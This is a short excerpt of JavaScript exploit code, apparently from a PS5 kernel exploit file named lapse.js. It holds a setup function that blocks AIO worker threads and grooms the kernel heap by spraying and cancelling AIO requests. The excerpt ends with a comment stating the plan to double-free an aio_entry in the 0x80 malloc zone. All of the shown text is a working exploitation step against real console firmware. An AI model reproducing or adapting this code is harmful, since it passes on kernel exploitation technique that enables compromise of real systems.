Function setup

g2all/700/lapse.js:1653–1678

(block_fd)

// FUNCTIONS FOR STAGE: SETUP

function setup(block_fd) {
  // this part will block the worker threads from processing entries so that
  // we may cancel them instead. this is to work around the fact that
  // aio_worker_entry2() will fdrop() the file associated with the aio_entry
  // on ps5. we want aio_multi_delete() to call fdrop()
  log("block AIO");
  const reqs1 = new Buffer(0x28 * num_workers);
  const block_id = new Word();

  for (let i = 0; i < num_workers; i++) {
    reqs1.write32(8 + i * 0x28, 1);
    reqs1.write32(0x20 + i * 0x28, block_fd);
  }
  aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);

  log("heap grooming");
  // chosen to maximize the number of 0x80 malloc allocs per submission
  const num_reqs = 3;
  const groom_ids = new View4(num_grooms);
  const groom_ids_p = groom_ids.addr;
  const greqs = make_reqs1(num_reqs);
  // allocate enough so that we start allocating from a newly created slab
  spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
  cancel_aios(groom_ids_p, num_grooms);
  return [block_id, groom_ids];
}

// overview:
// * double free a aio_entry (resides at a 0x80 malloc zone)